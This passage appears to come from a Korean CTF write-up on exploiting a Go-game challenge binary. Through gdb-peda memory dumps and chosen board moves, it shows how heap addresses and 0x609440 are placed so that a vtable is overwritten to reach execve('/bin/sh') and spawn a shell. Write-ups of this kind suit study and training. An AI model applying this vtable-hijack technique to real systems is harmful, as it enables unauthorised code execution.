...
Code Block |
---|
$ D19 ABCDEFGHIJKLMNOPQRS 19 ..OX..OX.XXX....... ... Time remain: O: 180.00, X: 154.17 $ E19 ABCDEFGHIJKLMNOPQRS 19 ..OXX.OX.XXX....... ... Time remain: O: 180.00, X: 151.96 $ |
- 주소가 저장된 영역은 GameInfo.board[9] 영역입니다.
Code Block |
---|
^C Program received signal SIGINT, Interrupt. 0x00007f25b8a7d230 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:84 84 in ../sysdeps/unix/syscall-template.S gdb-peda$ x/4gx 0x609FC0 0x609fc0: 0x0000000000ac6290 0x0000000000ac60d0 0x609fd0: 0x0000000000ac6190 0x0000000000ac6250 gdb-peda$ x/20gx 0x0000000000ac6290 - 0x10 0xac6280: 0x0000000155555555 0x0000000000000020 0xac6290: 0x0000000000001000 0x0000000000000000 0xac62a0: 0x0000000000000000 0x0000000000000400 0xac62b0: 0x0000000400000000 0x5000010000000058 0xac62c0: 0x40667febb1290256 0x4060b9413db7f173 0xac62d0: 0xb02c3b6be73a708c 0x0000000000000031 0xac62e0: 0xc6d1f75f00000000 0x0000000000abbc90 0xac62f0: 0x0000000000000000 0x0000000000000000 0xac6300: 0x6c0eb26d35c354ca 0x0000000000000091 0xac6310: 0x0000000000ac6290 0x0000000000ac60d0 gdb-peda$ |
...
Code Block |
---|
#0xXXXX010 -> 0xxxxx290 Play('D19') Play('E19') surrender() |
Overwrite the vtable
다음과 같이 값을 덮어쓸 수 있습니다.
D14, E14, G14, R15, A5, Q6
- GameInfo.board[9] 영역에 0x609440이 저장되었습니다.
Code Block |
---|
Q6
ABCDEFGHIJKLMNOPQRS
19 ...................
18 ...................
17 ...................
16 ...................
15 .................XO
14 ..OXX.X............
13 ...................
12 ...................
11 ...................
10 .........O.........
9 ...................
8 ...................
7 ...................
6 ............O.OOX..
5 XO.................
4 ...................
3 ...................
2 ...................
1 ...................
Time remain: O: 180.00, X: 162.59
gdb-peda$ x/20gx 0x609FC0
0x609fc0: 0x0000000000000000 0x0000000000000000
0x609fd0: 0x1800000000000000 0x00000000000008a4
0x609fe0: 0x0000000000000000 0x0000010000000000
0x609ff0: 0x0000000000000000 0x0000000000000000
0x60a000: 0x0000000000609440 0x0000000000000000
0x60a010: 0x0000000000000000 0x0000000000000000
0x60a020: 0x0000000200000005 0x000000000000004f
0x60a030: 0x40667fffaa044ae6 0x406452c1871e6cd3
0x60a040: 0x0000000000000000 0x0000000000000000
0x60a050: 0x0000000000000000 0x0000000000000000
gdb-peda$ |
다음과 같이 vtable을 Overwirte을 할 수 있습니다vtable을 Overwirte하는 방법은 다음과 같습니다.
- gameInfo.board[4]영역에 값으로 0x609440을 설정합니다.
- 사용자 입력 값을 저장하는 전역변수 command(0x60943C)주소 값에 0x4을 더한 값입니다.
- gameInfo.board[1] 영역까지 Heap 주소로 채웁니다.
- 0x*****550 영역에 gameInfo.board[4]에 저장된 값이 저장됩니다.
- 좌표값 뒤에 어떤 값이든 7개를 입력할 수 있습니다.
- Ex)A19!@#$%^&
- 0x609440 영역에 execve("/bin/sh") 코드의 주소를 저장하면 shell을 획득할 수 있습니다.
- 좌표값 뒤에 어떤 값이든 7개를 입력할 수 있습니다.
- gameInfo.board[4]영역에 값으로 0x609440을 설정합니다.
- 다음은 디버깅을 통해 확인한 내용입니다.
- gameInfo.board[1] 영역에 저장된 heap 주소는 0x16a5530 입니다.
- 0x16a5530을 기준으로 gameInfo.board[4]에 0x609440이 저장되어 있습니다.
- 즉, vtable을 0x609440으로 덮어쓴 것입니다.
- 0x609440 영역에는 execve("/bin/sh") 코드의 주소가 저장되어 있습니다.
...